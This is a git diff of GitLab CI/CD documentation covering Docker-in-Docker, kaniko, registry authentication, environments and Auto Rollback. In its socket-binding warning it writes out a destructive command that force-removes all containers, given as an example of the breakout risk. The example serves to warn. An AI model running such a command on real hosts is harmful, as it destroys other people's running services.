variable names are prefixed with `CI_EXTERNAL_PULL_REQUEST_`. ### Limitations -This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories will be ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667). +This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories are ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667). -Given that GitLab will create 2 pipelines, if changes are pushed to a remote branch that -references an open Pull Request, both will contribute to the status of the Pull Request +Given that GitLab creates 2 pipelines, if changes are pushed to a remote branch that +references an open Pull Request, both contribute to the status of the Pull Request via GitHub integration. If you want to exclusively run pipelines on external pull requests and not on branches you can add `except: [branches]` to the job specs. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/24089#workaround). diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index cbaebde0b00..4706180688a 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -25,9 +25,9 @@ it easier to [deploy to AWS](#deploy-your-application-to-the-aws-elastic-contain > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31167) in GitLab 12.6. -GitLab's AWS Docker image provides the [AWS Command Line Interface](https://aws.amazon.com/cli/), +The GitLab AWS Docker image provides the [AWS Command Line Interface](https://aws.amazon.com/cli/), which enables you to run `aws` commands. As part of your deployment strategy, you can run `aws` commands directly from -`.gitlab-ci.yml` by specifying [GitLab's AWS Docker image](https://gitlab.com/gitlab-org/cloud-deploy). +`.gitlab-ci.yml` by specifying the [GitLab AWS Docker image](https://gitlab.com/gitlab-org/cloud-deploy). Some credentials are required to be able to run `aws` commands: @@ -35,7 +35,7 @@ Some credentials are required to be able to run `aws` commands: 1. Log in onto the console and create [a new IAM user](https://console.aws.amazon.com/iam/home#/home). 1. Select your newly created user to access its details. Navigate to **Security credentials > Create a new access key**. - NOTE: **Note:** + NOTE: A new **Access key ID** and **Secret access key** pair will be generated. Please take a note of them right away. 1. In your GitLab project, go to **Settings > CI / CD**. Set the following as @@ -65,7 +65,7 @@ Some credentials are required to be able to run `aws` commands: - aws create-deployment ... ``` - NOTE: **Note:** + NOTE: The image used in the example above (`registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest`) is hosted on the [GitLab Container Registry](../../user/packages/container_registry/index.md) and is @@ -149,11 +149,11 @@ After you have these prerequisites ready, follow these steps: In both cases, make sure that the value for the `containerDefinitions[].name` attribute is the same as the `Container name` defined in your targeted ECS service. - CAUTION: **Warning:** + WARNING: `CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these environment variables are defined within your project. - NOTE: **Note:** + NOTE: If the name of the task definition you wrote in your JSON file is the same name as an existing task definition on AWS, then a new revision is created for it. Otherwise, a brand new task definition is created, starting at revision 1. @@ -181,7 +181,7 @@ After you have these prerequisites ready, follow these steps: task definition, making the cluster pull the newest version of your application. -CAUTION: **Warning:** +WARNING: The [`AWS/Deploy-ECS.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml) template includes both the [`Jobs/Build.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml) and [`Jobs/Deploy/ECS.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml) @@ -311,6 +311,9 @@ build_artifact: - <built artifact> ``` +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a video walkthrough of this configuration process, see [Auto Deploy to EC2](https://www.youtube.com/watch?v=4B-qSwKnacA). + ### Deploy to Amazon EKS - [How to deploy your application to a GitLab-managed Amazon EKS cluster with Auto DevOps](https://about.gitlab.com/blog/2020/05/05/deploying-application-eks/) diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index 04f27c584b7..a8ce46b9845 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -17,7 +17,7 @@ be set up. For example, you may have a specific tool or separate website that is built as part of your main project. Using a DAG, you can specify the relationship between -these jobs and GitLab will then execute the jobs as soon as possible instead of waiting +these jobs and GitLab executes the jobs as soon as possible instead of waiting for each stage to complete. Unlike other DAG solutions for CI/CD, GitLab does not require you to choose one or the @@ -44,9 +44,9 @@ It has a pipeline that looks like the following: | build_d | test_d | deploy_d | Using a DAG, you can relate the `_a` jobs to each other separately from the `_b` jobs, -and even if service `a` takes a very long time to build, service `b` will not -wait for it and will finish as quickly as it can. In this very same pipeline, `_c` and -`_d` can be left alone and will run together in staged sequence just like any normal +and even if service `a` takes a very long time to build, service `b` doesn't +wait for it and finishes as quickly as it can. In this very same pipeline, `_c` and +`_d` can be left alone and run together in staged sequence just like any normal GitLab pipeline. ## Use cases @@ -60,7 +60,7 @@ but related microservices. Additionally, a DAG can help with general speediness of pipelines and helping to deliver fast feedback. By creating dependency relationships that don't unnecessarily -block each other, your pipelines will run as quickly as possible regardless of +block each other, your pipelines run as quickly as possible regardless of pipeline stages, ensuring output (including errors) is available to developers as quickly as possible. @@ -88,13 +88,13 @@ are certain use cases that you may need to work around. For more information: > - It's enabled on GitLab.com. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-needs-visualization). -The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph will display all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. +The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph displays all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. To see the needs visualization, click on the **Needs** tab when viewing a pipeline that uses the `needs:` keyword.  -Clicking a node will highlight all the job paths it depends on. +Clicking a node highlights all the job paths it depends on.  diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md index 4e7d9015e85..2b97f317fc1 100644 --- a/doc/ci/docker/README.md +++ b/doc/ci/docker/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index ebbfde09c67..8e5ce2fb359 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -37,7 +37,7 @@ during jobs, each with their own tradeoffs. An alternative to using `docker build` is to [use kaniko](using_kaniko.md). This avoids having to execute a runner in privileged mode. -TIP: **Tip:** +NOTE: To see how Docker and GitLab Runner are configured for shared runners on GitLab.com, see [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners). @@ -103,7 +103,7 @@ image in privileged mode. CI builds, follow the `docker-compose` [installation instructions](https://docs.docker.com/compose/install/). -DANGER: **Warning:** +WARNING: By enabling `--docker-privileged`, you are effectively disabling all of the security mechanisms of containers and exposing your host to privilege escalation which can lead to container breakout. For more information, check @@ -152,9 +152,9 @@ Docker-in-Docker service and [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) support this. -GitLab Runner 11.11 or later is required, but it is not supported if GitLab -Runner is installed using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html). -See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/83) for details. +##### Docker + +> Introduced in GitLab Runner 11.11. 1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). 1. Register GitLab Runner from the command line to use `docker` and `privileged` @@ -217,6 +217,62 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss # The 'docker' hostname is the alias of the service container as described at # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # + # Specify to Docker where to create the certificates, Docker will + # create them automatically on boot, and will create + # `/certs/client` that will be shared between the service and job + # container, thanks to volume mount from config.toml + DOCKER_TLS_CERTDIR: "/certs" + + services: + - docker:19.03.12-dind + + before_script: + - docker info + + build: + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests + ``` + +##### Kubernetes + +> [Introduced](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/106) in GitLab Runner Helm Chart 0.23.0. + +1. Using the + [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), update the + [`values.yml` file](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/00c1a2098f303dffb910714752e9a981e119f5b5/values.yaml#L133-137) + to specify a volume mount. + + ```yaml + runners: + config: | + [[runners]] + [runners.kubernetes] + image = "ubuntu:20.04" + privileged = true + [[runners.kubernetes.volumes.empty_dir]] + name = "docker-certs" + mount_path = "/certs/client" + medium = "Memory" + ``` + +1. You can now use `docker` in the build script (note the inclusion of the + `docker:19.03.13-dind` service): + + ```yaml + image: docker:19.03.13 + + variables: + # When using dind service, we need to instruct docker to talk with + # the daemon started inside of the service. The daemon is available + # with a network connection instead of the default + # /var/run/docker.sock socket. + DOCKER_HOST: tcp://docker:2376 + # + # The 'docker' hostname is the alias of the service container as described at + # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # If you're using GitLab Runner 12.7 or earlier with the Kubernetes executor and Kubernetes 1.6 or earlier, # the variable must be set to tcp://localhost:2376 because of how the # Kubernetes executor connects services to the job container @@ -227,9 +283,14 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss # `/certs/client` that will be shared between the service and job # container, thanks to volume mount from config.toml DOCKER_TLS_CERTDIR: "/certs" + # These are usually specified by the entrypoint, however the + # Kubernetes executor doesn't run entrypoints + # https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4125 + DOCKER_TLS_VERIFY: 1 + DOCKER_CERT_PATH: "$DOCKER_TLS_CERTDIR/client" services: - - docker:19.03.12-dind + - docker:19.03.13-dind before_script: - docker info @@ -302,6 +363,90 @@ build: - docker run my-docker-image /script/to/run/tests ``` +#### Use Docker socket binding + +The third approach is to bind-mount `/var/run/docker.sock` into the +container so that Docker is available in the context of that image. + +NOTE: +If you bind the Docker socket and you are +[using GitLab Runner 11.11 or later](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261), +you can no longer use `docker:19.03.12-dind` as a service. Volume bindings +are done to the services as well, making these incompatible. + +To make Docker available in the context of the image: + +1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). +1. From the command line, register a runner with the `docker` executor and share `/var/run/docker.sock`: + + ```shell + sudo gitlab-runner register -n \ + --url https://gitlab.com/ \ + --registration-token REGISTRATION_TOKEN \ + --executor docker \ + --description "My Docker Runner" \ + --docker-image "docker:19.03.12" \ + --docker-volumes /var/run/docker.sock:/var/run/docker.sock + ``` + + This command registers a new runner to use the special + `docker:19.03.12` image, which is provided by Docker. **The command uses + the Docker daemon of the runner itself. Any containers spawned by Docker + commands are siblings of the runner rather than children of the runner.** + This may have complications and limitations that are unsuitable for your workflow. + + Your `config.toml` file should not have an entry like this: + + ```toml + [[runners]] + url = "https://gitlab.com/" + token = REGISTRATION_TOKEN + executor = "docker" + [runners.docker] + tls_verify = false + image = "docker:19.03.12" + privileged = false + disable_cache = false + volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"] + [runners.cache] + Insecure = false + ``` + +1. Use `docker` in the build script. You don't need to + include the `docker:19.03.12-dind` service, like you do when you're using + the Docker-in-Docker executor: + + ```yaml + image: docker:19.03.12 + + before_script: + - docker info + + build: + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests + ``` + +This method avoids using Docker in privileged mode. However, +the implications of this method are: + +- By sharing the Docker daemon, you are effectively disabling all + the security mechanisms of containers and exposing your host to privilege + escalation, which can lead to container breakout. For example, if a project + ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner + containers. +- Concurrent jobs may not work; if your tests + create containers with specific names, they may conflict with each other. +- Sharing files and directories from the source repository into containers may not + work as expected. Volume mounting is done in the context of the host + machine, not the build container. For example: + + ```shell + docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests + ``` + #### Enable registry mirror for `docker:dind` service When the Docker daemon starts inside of the service container, it uses @@ -381,7 +526,7 @@ content: Update the `config.toml` file to mount the file to `/etc/docker/daemon.json`. This would mount the file for **every** -container that is created by GitLab Runner. The configuration will be +container that is created by GitLab Runner. The configuration is picked up by the `dind` service. ```toml @@ -422,7 +567,7 @@ of this file. You can do this with a command like: kubectl create configmap docker-daemon --namespace gitlab-runner --from-file /tmp/daemon.json ``` -NOTE: **Note:** +NOTE: Make sure to use the namespace that GitLab Runner Kubernetes executor uses to create job pods in. @@ -444,89 +589,146 @@ The configuration is picked up by the `dind` service. sub_path = "daemon.json" ``` -#### Use Docker socket binding +## Authenticating with registry in Docker-in-Docker -The third approach is to bind-mount `/var/run/docker.sock` into the -container so that Docker is available in the context of that image. +When you use Docker-in-Docker, the [normal authentication +methods](using_docker_images.html#define-an-image-from-a-private-container-registry) +won't work because a fresh Docker daemon is started with the service. -NOTE: **Note:** -If you bind the Docker socket [when using GitLab Runner 11.11 or -newer](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261), -you can no longer use `docker:19.03.12-dind` as a service because volume bindings -are done to the services as well, making these incompatible. +### Option 1: Run `docker login` -In order to do that, follow the steps: +In [`before_script`](../yaml/README.md#before_script) run `docker +login`: -1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). -1. Register GitLab Runner from the command line to use `docker` and share `/var/run/docker.sock`: +```yaml +image: docker:19.03.13 - ```shell - sudo gitlab-runner register -n \ - --url https://gitlab.com/ \ - --registration-token REGISTRATION_TOKEN \ - --executor docker \ - --description "My Docker Runner" \ - --docker-image "docker:19.03.12" \ - --docker-volumes /var/run/docker.sock:/var/run/docker.sock - ``` +variables: + DOCKER_TLS_CERTDIR: "/certs" - The above command registers a new runner to use the special - `docker:19.03.12` image which is provided by Docker. **Notice that it's using - the Docker daemon of the runner itself, and any containers spawned by Docker - commands are siblings of the runner rather than children of the runner.** - This may have complications and limitations that are unsuitable for your workflow. +services: + - docker:19.03.13-dind - The above command creates a `config.toml` entry similar to this: +build: + stage: build + before_script: + - echo "$DOCKER_REGISTRY_PASS" | docker login $DOCKER_REGISTRY --username $DOCKER_REGISTRY_USER --password-stdin + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests +``` - ```toml - [[runners]] - url = "https://gitlab.com/" - token = REGISTRATION_TOKEN - executor = "docker" - [runners.docker] - tls_verify = false - image = "docker:19.03.12" - privileged = false - disable_cache = false - volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"] - [runners.cache] - Insecure = false - ``` +To log in to Docker Hub, leave `$DOCKER_REGISTRY` +empty or remove it. -1. You can now use `docker` in the build script (note that you don't need to - include the `docker:19.03.12-dind` service as when using the Docker in Docker - executor): +### Option 2: Mount `~/.docker/config.json` on each job - ```yaml - image: docker:19.03.12 +If you are an administrator for GitLab Runner, you can mount a file +with the authentication configuration to `~/.docker/config.json`. +Then every job that the runner picks up will be authenticated already. If you +are using the official `docker:19.03.13` image, the home directory is +under `/root`. - before_script: - - docker info +If you mount the configuration file, any `docker` command +that modifies the `~/.docker/config.json` (for example, `docker login`) +fails, because the file is mounted as read-only. Do not change it from +read-only, because other problems will occur. - build: - stage: build - script: - - docker build -t my-docker-image . - - docker run my-docker-image /script/to/run/tests - ``` +Here is an example of `/opt/.docker/config.json` that follows the +[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data) +documentation: -While the above method avoids using Docker in privileged mode, you should be -aware of the following implications: +```json +{ + "auths": { + "https://index.docker.io/v1/": { + "auth": "bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ=" + } + } +} +``` -- By sharing the Docker daemon, you are effectively disabling all - the security mechanisms of containers and exposing your host to privilege - escalation which can lead to container breakout. For example, if a project - ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner - containers. -- Concurrent jobs may not work; if your tests - create containers with specific names, they may conflict with each other. -- Sharing files and directories from the source repository into containers may not - work as expected since volume mounting is done in the context of the host - machine, not the build container. For example: +#### Docker - ```shell - docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests - ``` +Update the [volume +mounts](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section) +to include the file. + +```toml +[[runners]] + ... + executor = "docker" + [runners.docker] + ... + privileged = true + volumes = ["/opt/.docker/config.json:/root/.docker/config.json:ro"] +``` + +#### Kubernetes + +Create a [ConfigMap](https://kubernetes.io/docs/concepts/configuration/configmap/) with the content +of this file. You can do this with a command like: + +```shell +kubectl create configmap docker-client-config --namespace gitlab-runner --from-file /opt/.docker/config.json +``` + +Update the [volume +mounts](https://docs.gitlab.com/runner/executors/kubernetes.html#using-volumes) +to include the file. + +```toml +[[runners]] + ... + executor = "kubernetes" + [runners.kubernetes] + image = "alpine:3.12" + privileged = true + [[runners.kubernetes.volumes.config_map]] + name = "docker-client-config" + mount_path = "/root/.docker/config.json" + # If you are running GitLab Runner 13.5 + # or lower you can remove this + sub_path = "config.json" +``` + +### Option 3: Use `DOCKER_AUTH_CONFIG` + +If you already have +[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data) +defined, you can use the variable and save it in +`~/.docker/config.json`. + +There are multiple ways to define this. For example: + +- Inside + [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) + inside of the runner configuration file. +- Inside [`before_script`](../yaml/README.md#before_script). +- Inside of [`script`](../yaml/README.md#script). + +Below is an example of +[`before_script`](../yaml/README.md#before_script). The same commands +apply for any solution you implement. + +```yaml +image: docker:19.03.13 + +variables: + DOCKER_TLS_CERTDIR: "/certs" + +services: + - docker:19.03.13-dind + +build: + stage: build + before_script: + - mkdir -p $HOME/.docker + - echo $DOCKER_AUTH_CONFIG > $HOME/.docker/config.json + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests +``` ## Making Docker-in-Docker builds faster with Docker layer caching @@ -586,7 +788,7 @@ The steps in the `script` section for the `build` stage can be summed up to: ## Use the OverlayFS driver -NOTE: **Note:** +NOTE: The shared runners on GitLab.com use the `overlay2` driver by default. By default, when using `docker:dind`, Docker uses the `vfs` storage driver which diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index b8563182bd9..7171269cf2d 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index f9b09bada14..13d3c607f8a 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -37,8 +37,8 @@ few important details: - The kaniko debug image is recommended (`gcr.io/kaniko-project/executor:debug`) because it has a shell, and a shell is required for an image to be used with GitLab CI/CD. -- The entrypoint will need to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image), - otherwise the build script will not run. +- The entrypoint needs to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image), + otherwise the build script doesn't run. - A Docker `config.json` file needs to be created with the authentication information for the desired container registry. @@ -47,7 +47,7 @@ In the following example, kaniko is used to: 1. Build a Docker image. 1. Then push it to [GitLab Container Registry](../../user/packages/container_registry/index.md). -The job will run only when a tag is pushed. A `config.json` file is created under +The job runs only when a tag is pushed. A `config.json` file is created under `/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the [environment variables](../variables/README.md#predefined-environment-variables) GitLab CI/CD provides. @@ -66,8 +66,8 @@ build: - mkdir -p /kaniko/.docker - echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $CI_REGISTRY_IMAGE:$CI_COMMIT_TAG - only: - - tags + rules: + - if: $CI_COMMIT_TAG ``` ## Using a registry with a custom certificate @@ -106,14 +106,10 @@ Guided Exploration project pipeline. It was tested on: The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page. -<!-- ## Troubleshooting +## Troubleshooting -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. +### 403 error: "error checking push permissions" -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +If you receive this error, it might be due to an outside proxy. Setting the `http_proxy` +and `https_proxy` [environment variables](../../administration/packages/container_registry.md#running-the-docker-daemon-with-a-proxy) +can fix the problem. diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md index 8b88ec509e7..f59e32fb46d 100644 --- a/doc/ci/enable_or_disable_ci.md +++ b/doc/ci/enable_or_disable_ci.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -31,7 +31,7 @@ either: - Site-wide by modifying the settings in `gitlab.yml` and `gitlab.rb` for source and Omnibus installations respectively. -This only applies to pipelines run as part of GitLab CI/CD. This will not enable or disable +This only applies to pipelines run as part of GitLab CI/CD. This doesn't enable or disable pipelines that are run from an [external integration](../user/project/integrations/overview.md#integrations-listing). ## Per-project user setting @@ -42,7 +42,7 @@ To enable or disable GitLab CI/CD Pipelines in your project: 1. Expand the **Repository** section 1. Enable or disable the **Pipelines** toggle as required. -**Project visibility** will also affect pipeline visibility. If set to: +**Project visibility** also affects pipeline visibility. If set to: - **Private**: Only project members can access pipelines. - **Internal** or **Public**: Pipelines can be set to either **Only Project Members** @@ -57,9 +57,9 @@ for source installations, and `gitlab.rb` for Omnibus installations. Two things to note: -- Disabling GitLab CI/CD, will affect only newly-created projects. Projects that - had it enabled prior to this modification, will work as before. -- Even if you disable GitLab CI/CD, users will still be able to enable it in the +- Disabling GitLab CI/CD affects only newly-created projects. Projects that + had it enabled prior to this modification work as before. +- Even if you disable GitLab CI/CD, users can still enable it in the project's settings. For installations from source, open `gitlab.yml` with your editor and set diff --git a/doc/ci/environments.md b/doc/ci/environments.md index b1dc9af6b5b..2ce0618c8e7 100644 --- a/doc/ci/environments.md +++ b/doc/ci/environments.md @@ -3,3 +3,6 @@ redirect_to: 'environments/index.md' --- This document was moved to [another location](environments/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 99f7d5d07a5..95419e58d36 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Deployment safety diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index 931e5512e9e..84f8b1b1dbf 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/ci/environments/incremental_rollouts.md b/doc/ci/environments/incremental_rollouts.md index 06661e03001..81acc3a36e9 100644 --- a/doc/ci/environments/incremental_rollouts.md +++ b/doc/ci/environments/incremental_rollouts.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 361b7217d17..c755a954164 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference disqus_identifier: 'https://docs.gitlab.com/ee/ci/environments.html' --- @@ -121,7 +121,7 @@ Note that the `environment` keyword defines where the app is deployed. The envir `url` is exposed in various places within GitLab. Each time a job that has an environment specified succeeds, a deployment is recorded along with the Git SHA and environment name. -CAUTION: **Caution:** +WARNING: Some characters are not allowed in environment names. Use only letters, numbers, spaces, and `-`, `_`, `/`, `{`, `}`, or `.`. Also, it must not start nor end with `/`. @@ -279,7 +279,7 @@ deploy_prod: The `when: manual` action: -- Exposes a "play" button in GitLab's UI for that job. +- Exposes a "play" button in the GitLab UI for that job. - Means the `deploy_prod` job will only be triggered when the "play" button is clicked. You can find the "play" button in the pipelines, environments, deployments, and jobs views. @@ -386,7 +386,7 @@ If you are deploying to a [Kubernetes cluster](../../user/project/clusters/index associated with your project, you can configure these deployments from your `gitlab-ci.yml` file. -NOTE: **Note:** +NOTE: Kubernetes configuration isn't supported for Kubernetes clusters that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters). To follow progress on support for GitLab-managed clusters, see the @@ -413,7 +413,7 @@ deploy: - master ``` -When deploying to a Kubernetes cluster using GitLab's Kubernetes integration, +When deploying to a Kubernetes cluster using the GitLab Kubernetes integration, information about the cluster and namespace will be displayed above the job trace on the deployment job page: @@ -648,7 +648,7 @@ For example: #### Going from source files to public pages -With GitLab's [Route Maps](../review_apps/index.md#route-maps) you can go directly +With GitLab [Route Maps](../review_apps/index.md#route-maps), you can go directly from source files to public pages in the environment set for Review Apps. ### Stopping an environment @@ -894,6 +894,32 @@ longer visible on the environment page. If the alert requires a [rollback](#retrying-and-rolling-back), you can select the deployment tab from the environment page and select which deployment to roll back to. +#### Auto Rollback **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35404) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. + +In a typical Continuous Deployment workflow, the CI pipeline tests every commit before deploying to +production. However, problematic code can still make it to production. For example, inefficient code +that is logically correct can pass tests even though it causes severe performance degradation. +Operators and SREs monitor the system to catch such problems as soon as possible. If they find a +problematic deployment, they can roll back to a previous stable version. + +GitLab Auto Rollback eases this workflow by automatically triggering a rollback when a +[critical alert](../../operations/incident_management/alerts.md) +is detected. GitLab selects and redeploys the most recent successful deployment. + +Limitations of GitLab Auto Rollback: + +- The rollback is skipped if a deployment is running when the alert is detected. +- A rollback can happen only once in three minutes. If multiple alerts are detected at once, only + one rollback is performed. + +GitLab Auto Rollback is turned off by default. To turn it on: + +1. Visit **Project > Settings > CI/CD > Automatic deployment rollbacks**. +1. Select the checkbox for **Enable automatic rollbacks**. +1. Click **Save changes**. + ### Monitoring environments If you have enabled 